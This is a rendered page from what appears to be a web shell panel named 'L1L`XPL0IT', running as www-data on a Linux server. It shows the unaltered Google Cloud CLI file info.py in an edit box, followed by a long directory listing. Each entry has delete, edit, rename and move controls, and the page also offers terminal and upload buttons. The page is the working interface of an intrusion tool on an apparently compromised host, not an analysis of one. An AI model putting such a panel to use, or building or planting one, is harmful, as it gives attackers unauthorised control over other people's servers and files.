⚡ L1L`XPL0IT
8.2.34 | Linux | www-data (uid:33)
✏️ Edit: info.py
📁 /snap/google-cloud-cli/current/lib/surface/info.py
# -*- coding: utf-8 -*- # # Copyright 2013 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """A command that prints out information about your gcloud environment.""" from googlecloudsdk.calliope import base from googlecloudsdk.command_lib import info_holder from googlecloudsdk.core import exceptions from googlecloudsdk.core import log from googlecloudsdk.core.diagnostics import network_diagnostics from googlecloudsdk.core.diagnostics import property_diagnostics def _RunDiagnostics(ignore_hidden_property_allowlist, check_certs_host=None): passed_network = network_diagnostics.NetworkDiagnostic( check_certs_host=check_certs_host ).RunChecks() passed_props = property_diagnostics.PropertyDiagnostic( ignore_hidden_property_allowlist).RunChecks() return passed_network and passed_props @base.ReleaseTracks(base.ReleaseTrack.GA) @base.UniverseCompatible class Info(base.Command): """Display information about the current gcloud environment.""" detailed_help = { 'EXAMPLES': """ To display information about the current gcloud environment including the Google Cloud account, project and directory paths for logs, run: $ {command} To check network connectivity and hidden properties, run: $ {command} --run-diagnostics To troubleshoot certificate verification failures for a given host e.g. `compute.googleapis.com` when using a proxy and custom CA certs, run: $ {command} --run-diagnostics --check-certs=compute.googleapis.com To print the contents of the most recent log file, run: $ {command} --show-log """, } category = base.SDK_TOOLS_CATEGORY @staticmethod def Args(parser): mode = parser.add_group(mutex=True) mode.add_argument( '--show-log', action='store_true', help='Print the contents of the last log file.') diagnostics = mode.add_group() diagnostics.add_argument( '--run-diagnostics', action='store_true', required=True, help='Run diagnostics on your installation of the Google Cloud CLI.') diagnostics.add_argument( '--check-certs', metavar='HOSTNAME', help='Run diagnostics on the certificate chain for a given host.', ) diagnostics.add_argument( '--ignore-hidden-property-allowlist', action='store_true', hidden=True, help='Ignore the hidden property allowlist.', ) parser.add_argument( '--anonymize', action='store_true', help='Minimize any personal identifiable information. ' 'Use it when sharing output with others.') def Run(self, args): if args.run_diagnostics: passed = _RunDiagnostics( args.ignore_hidden_property_allowlist, args.check_certs ) if passed: return None else: raise exceptions.Error('Some of the checks in diagnostics failed.') return info_holder.InfoHolder( anonymizer=info_holder.Anonymizer() if args.anonymize else None) def Display(self, args, info): if not info: return if not args.show_log: log.Print(info) elif info.logs.last_log: log.Print('\nContents of log file: [{0}]\n' '==========================================================\n' '{1}\n\n' .format(info.logs.last_log, info.logs.LastLogContents()))
Cancel
💻 Terminal
📤 Upload
📂
Click or Drag & Drop
📁 /snap/google-cloud-cli/current/lib/surface
/
/
snap
/
google-cloud-cli
/
current
/
lib
/
surface
Name
Size
Perm
Modified
Actions
📁 __pycache__/
-
0775
2026-09-29 12:17
🗑 Delete
📁 access_approval/
-
0775
2026-09-29 12:17
🗑 Delete
📁 access_context_manager/
-
0775
2026-09-29 12:17
🗑 Delete
📁 active_directory/
-
0775
2026-09-29 12:17
🗑 Delete
📁 agent_identity/
-
0775
2026-09-29 12:17
🗑 Delete
📁 agent_registry/
-
0775
2026-09-29 12:17
🗑 Delete
📁 agentic_applications/
-
0775
2026-09-29 12:17
🗑 Delete
📁 ai/
-
0775
2026-09-29 12:17
🗑 Delete
📁 ai_platform/
-
0775
2026-09-29 12:17
🗑 Delete
📁 alloydb/
-
0775
2026-09-29 12:17
🗑 Delete
📁 alpha/
-
0775
2026-09-29 12:17
🗑 Delete
📁 anthos/
-
0775
2026-09-29 12:17
🗑 Delete
📁 api_gateway/
-
0775
2026-09-29 12:17
🗑 Delete
📁 api_registry/
-
0775
2026-09-29 12:17
🗑 Delete
📁 apigee/
-
0775
2026-09-29 12:17
🗑 Delete
📁 apihub/
-
0775
2026-09-29 12:17
🗑 Delete
📁 app/
-
0775
2026-09-29 12:17
🗑 Delete
📁 app_lifecycle_manager/
-
0775
2026-09-29 12:17
🗑 Delete
📁 app_optimize/
-
0775
2026-09-29 12:17
🗑 Delete
📁 app_topology/
-
0775
2026-09-29 12:17
🗑 Delete
📁 apphub/
-
0775
2026-09-29 12:17
🗑 Delete
📁 artifacts/
-
0775
2026-09-29 12:17
🗑 Delete
📁 asset/
-
0775
2026-09-29 12:17
🗑 Delete
📁 assured/
-
0775
2026-09-29 12:17
🗑 Delete
📁 audit_manager/
-
0775
2026-09-29 12:17
🗑 Delete
📁 auth/
-
0775
2026-09-29 12:17
🗑 Delete
📁 authz_toolkit/
-
0775
2026-09-29 12:17
🗑 Delete
📁 backup_dr/
-
0775
2026-09-29 12:17
🗑 Delete
📁 batch/
-
0775
2026-09-29 12:17
🗑 Delete
📁 beta/
-
0775
2026-09-29 12:17
🗑 Delete
📁 beyondcorp/
-
0775
2026-09-29 12:17
🗑 Delete
📁 biglake/
-
0775
2026-09-29 12:17
🗑 Delete
📁 bigtable/
-
0775
2026-09-29 12:17
🗑 Delete
📁 billing/
-
0775
2026-09-29 12:17
🗑 Delete
📁 blockchain_node_engine/
-
0775
2026-09-29 12:17
🗑 Delete
📁 blockchain_validator/
-
0775
2026-09-29 12:17
🗑 Delete
📁 bms/
-
0775
2026-09-29 12:17
🗑 Delete
📁 bq/
-
0775
2026-09-29 12:17
🗑 Delete
📁 builds/
-
0775
2026-09-29 12:17
🗑 Delete
📁 cbrs_spectrum_access/
-
0775
2026-09-29 12:17
🗑 Delete
📁 certificate_manager/
-
0775
2026-09-29 12:17
🗑 Delete
📁 cloud_shell/
-
0775
2026-09-29 12:17
🗑 Delete
📁 cloudlocationfinder/
-
0775
2026-09-29 12:17
🗑 Delete
📁 cluster_director/
-
0775
2026-09-29 12:17
🗑 Delete
📁 code/
-
0775
2026-09-29 12:17
🗑 Delete
📁 colab/
-
0775
2026-09-29 12:17
🗑 Delete
📁 commerce_procurement/
-
0775
2026-09-29 12:17
🗑 Delete
📁 compliance_manager/
-
0775
2026-09-29 12:17
🗑 Delete
📁 components/
-
0775
2026-09-29 12:17
🗑 Delete
📁 composer/
-
0775
2026-09-29 12:17
🗑 Delete
📁 compute/
-
0775
2026-09-29 12:17
🗑 Delete
📁 config/
-
0775
2026-09-29 12:17
🗑 Delete
📁 container/
-
0775
2026-09-29 12:17
🗑 Delete
📁 data_catalog/
-
0775
2026-09-29 12:17
🗑 Delete
📁 data_fusion/
-
0775
2026-09-29 12:17
🗑 Delete
📁 database_migration/
-
0775
2026-09-29 12:17
🗑 Delete
📁 dataflow/
-
0775
2026-09-29 12:17
🗑 Delete
📁 datalineage/
-
0775
2026-09-29 12:17
🗑 Delete
📁 datapipelines/
-
0775
2026-09-29 12:17
🗑 Delete
📁 dataplex/
-
0775
2026-09-29 12:17
🗑 Delete
📁 dataproc/
-
0775
2026-09-29 12:17
🗑 Delete
📁 dataproc_gdc/
-
0775
2026-09-29 12:17
🗑 Delete
📁 datastore/
-
0775
2026-09-29 12:17
🗑 Delete
📁 datastream/
-
0775
2026-09-29 12:17
🗑 Delete
📁 deploy/
-
0775
2026-09-29 12:17
🗑 Delete
📁 deployment_manager/
-
0775
2026-09-29 12:17
🗑 Delete
📁 design_center/
-
0775
2026-09-29 12:17
🗑 Delete
📁 developer_connect/
-
0775
2026-09-29 12:17
🗑 Delete
📁 developer_knowledge/
-
0775
2026-09-29 12:17
🗑 Delete
📁 device_run/
-
0775
2026-09-29 12:17
🗑 Delete
📁 dialogflow/
-
0775
2026-09-29 12:17
🗑 Delete
📁 dlp/
-
0775
2026-09-29 12:17
🗑 Delete
📁 dns/
-
0775
2026-09-29 12:17
🗑 Delete
📁 domains/
-
0775
2026-09-29 12:17
🗑 Delete
📁 edge_cache/
-
0775
2026-09-29 12:17
🗑 Delete
📁 edge_cloud/
-
0775
2026-09-29 12:17
🗑 Delete
📁 emulators/
-
0775
2026-09-29 12:17
🗑 Delete
📁 endpoints/
-
0775
2026-09-29 12:17
🗑 Delete
📁 error_reporting/
-
0775
2026-09-29 12:17
🗑 Delete
📁 essential_contacts/
-
0775
2026-09-29 12:17
🗑 Delete
📁 eventarc/
-
0775
2026-09-29 12:17
🗑 Delete
📁 fault_testing/
-
0775
2026-09-29 12:17
🗑 Delete
📁 filestore/
-
0775
2026-09-29 12:17
🗑 Delete
📁 firebase/
-
0775
2026-09-29 12:17
🗑 Delete
📁 firebase_data_connect/
-
0775
2026-09-29 12:17
🗑 Delete
📁 firestore/
-
0775
2026-09-29 12:17
🗑 Delete
📁 functions/
-
0775
2026-09-29 12:17
🗑 Delete
📁 gemini/
-
0775
2026-09-29 12:17
🗑 Delete
📁 genomics/
-
0775
2026-09-29 12:17
🗑 Delete
📁 healthcare/
-
0775
2026-09-29 12:17
🗑 Delete
📁 iam/
-
0775
2026-09-29 12:17
🗑 Delete
📁 iap/
-
0775
2026-09-29 12:17
🗑 Delete
📁 identity/
-
0775
2026-09-29 12:17
🗑 Delete
📁 ids/
-
0775
2026-09-29 12:17
🗑 Delete
📁 immersive_stream/
-
0775
2026-09-29 12:17
🗑 Delete
📁 infra_manager/
-
0775
2026-09-29 12:17
🗑 Delete
📁 kms/
-
0775
2026-09-29 12:17
🗑 Delete
📁 logging/
-
0775
2026-09-29 12:17
🗑 Delete
📁 looker/
-
0775
2026-09-29 12:17
🗑 Delete
📁 lustre/
-
0775
2026-09-29 12:17
🗑 Delete
📁 managed_flink/
-
0775
2026-09-29 12:17
🗑 Delete
📁 managed_kafka/
-
0775
2026-09-29 12:17
🗑 Delete
📁 media/
-
0775
2026-09-29 12:17
🗑 Delete
📁 memcache/
-
0775
2026-09-29 12:17
🗑 Delete
📁 memorystore/
-
0775
2026-09-29 12:17
🗑 Delete
📁 meta/
-
0775
2026-09-29 12:17
🗑 Delete
📁 metastore/
-
0775
2026-09-29 12:17
🗑 Delete
📁 microservices/
-
0775
2026-09-29 12:17
🗑 Delete
📁 migration/
-
0775
2026-09-29 12:17
🗑 Delete
📁 ml/
-
0775
2026-09-29 12:17
🗑 Delete
📁 mldiagnostics/
-
0775
2026-09-29 12:17
🗑 Delete
📁 model_armor/
-
0775
2026-09-29 12:17
🗑 Delete
📁 monitoring/
-
0775
2026-09-29 12:17
🗑 Delete
📁 mps/
-
0775
2026-09-29 12:17
🗑 Delete
📁 netapp/
-
0775
2026-09-29 12:17
🗑 Delete
📁 network_connectivity/
-
0775
2026-09-29 12:17
🗑 Delete
📁 network_management/
-
0775
2026-09-29 12:17
🗑 Delete
📁 network_security/
-
0775
2026-09-29 12:17
🗑 Delete
📁 network_services/
-
0775
2026-09-29 12:17
🗑 Delete
📁 notebooks/
-
0775
2026-09-29 12:17
🗑 Delete
📁 number_registry/
-
0775
2026-09-29 12:17
🗑 Delete
📁 observability/
-
0775
2026-09-29 12:17
🗑 Delete
📁 onboarding/
-
0775
2026-09-29 12:17
🗑 Delete
📁 oracle_database/
-
0775
2026-09-29 12:17
🗑 Delete
📁 orchestration_pipelines/
-
0775
2026-09-29 12:17
🗑 Delete
📁 org_policies/
-
0775
2026-09-29 12:17
🗑 Delete
📁 organizations/
-
0775
2026-09-29 12:17
🗑 Delete
📁 orglifecycle/
-
0775
2026-09-29 12:17
🗑 Delete
📁 pam/
-
0775
2026-09-29 12:17
🗑 Delete
📁 parallelstore/
-
0775
2026-09-29 12:17
🗑 Delete
📁 parametermanager/
-
0775
2026-09-29 12:17
🗑 Delete
📁 policy_intelligence/
-
0775
2026-09-29 12:17
🗑 Delete
📁 policy_troubleshoot/
-
0775
2026-09-29 12:17
🗑 Delete
📁 preview/
-
0775
2026-09-29 12:17
🗑 Delete
📁 privateca/
-
0775
2026-09-29 12:17
🗑 Delete
📁 projects/
-
0775
2026-09-29 12:17
🗑 Delete
📁 publicca/
-
0775
2026-09-29 12:17
🗑 Delete
📁 pubsub/
-
0775
2026-09-29 12:17
🗑 Delete
📁 quotas/
-
0775
2026-09-29 12:17
🗑 Delete
📁 recaptcha/
-
0775
2026-09-29 12:17
🗑 Delete
📁 recommender/
-
0775
2026-09-29 12:17
🗑 Delete
📁 redis/
-
0775
2026-09-29 12:17
🗑 Delete
📁 remote_build_execution/
-
0775
2026-09-29 12:17
🗑 Delete
📁 resource_config/
-
0775
2026-09-29 12:17
🗑 Delete
📁 resource_manager/
-
0775
2026-09-29 12:17
🗑 Delete
📁 run/
-
0775
2026-09-29 12:17
🗑 Delete
📁 runtime_config/
-
0775
2026-09-29 12:17
🗑 Delete
📁 scc/
-
0775
2026-09-29 12:17
🗑 Delete
📁 scheduler/
-
0775
2026-09-29 12:17
🗑 Delete
📁 seclm/
-
0775
2026-09-29 12:17
🗑 Delete
📁 secrets/
-
0775
2026-09-29 12:17
🗑 Delete
📁 service_directory/
-
0775
2026-09-29 12:17
🗑 Delete
📁 service_extensions/
-
0775
2026-09-29 12:17
🗑 Delete
📁 service_health/
-
0775
2026-09-29 12:17
🗑 Delete
📁 services/
-
0775
2026-09-29 12:17
🗑 Delete
📁 software_delivery_trust/
-
0775
2026-09-29 12:17
🗑 Delete
📁 source/
-
0775
2026-09-29 12:17
🗑 Delete
📁 source_manager/
-
0775
2026-09-29 12:17
🗑 Delete
📁 spanner/
-
0775
2026-09-29 12:17
🗑 Delete
📁 spectrum_access/
-
0775
2026-09-29 12:17
🗑 Delete
📁 sql/
-
0775
2026-09-29 12:17
🗑 Delete
📁 storage/
-
0775
2026-09-29 12:17
🗑 Delete
📁 support/
-
0775
2026-09-29 12:17
🗑 Delete
📁 tasks/
-
0775
2026-09-29 12:17
🗑 Delete
📁 telco_automation/
-
0775
2026-09-29 12:17
🗑 Delete
📁 terraform/
-
0775
2026-09-29 12:17
🗑 Delete
📁 topic/
-
0775
2026-09-29 12:17
🗑 Delete
📁 trace/
-
0775
2026-09-29 12:17
🗑 Delete
📁 transcoder/
-
0775
2026-09-29 12:17
🗑 Delete
📁 transfer/
-
0775
2026-09-29 12:17
🗑 Delete
📁 vector_search/
-
0775
2026-09-29 12:17
🗑 Delete
📁 vmware/
-
0775
2026-09-29 12:17
🗑 Delete
📁 web_security_scanner/
-
0775
2026-09-29 12:17
🗑 Delete
📁 workbench/
-
0775
2026-09-29 12:17
🗑 Delete
📁 workflows/
-
0775
2026-09-29 12:17
🗑 Delete
📁 workload_identity/
-
0775
2026-09-29 12:17
🗑 Delete
📁 workspace_add_ons/
-
0775
2026-09-29 12:17
🗑 Delete
📁 workstations/
-
0775
2026-09-29 12:17
🗑 Delete
📁 zone_management/
-
0775
2026-09-29 12:17
🗑 Delete
__init__.py
7.5K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del
cheat_sheet.py
5.9K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del
docker.py
6.2K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del
feedback.py
5.3K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del
help.py
5K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del
info.py
3.9K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del
init.py
23.4K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del
interactive.py
10.4K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del
survey.py
3K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del
unlock.py
2.1K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del
version.py
2.1K
0644
1980-01-01 08:00
👁 View
✏️ Edit
📝 Rename
📦 Move
🗑 Del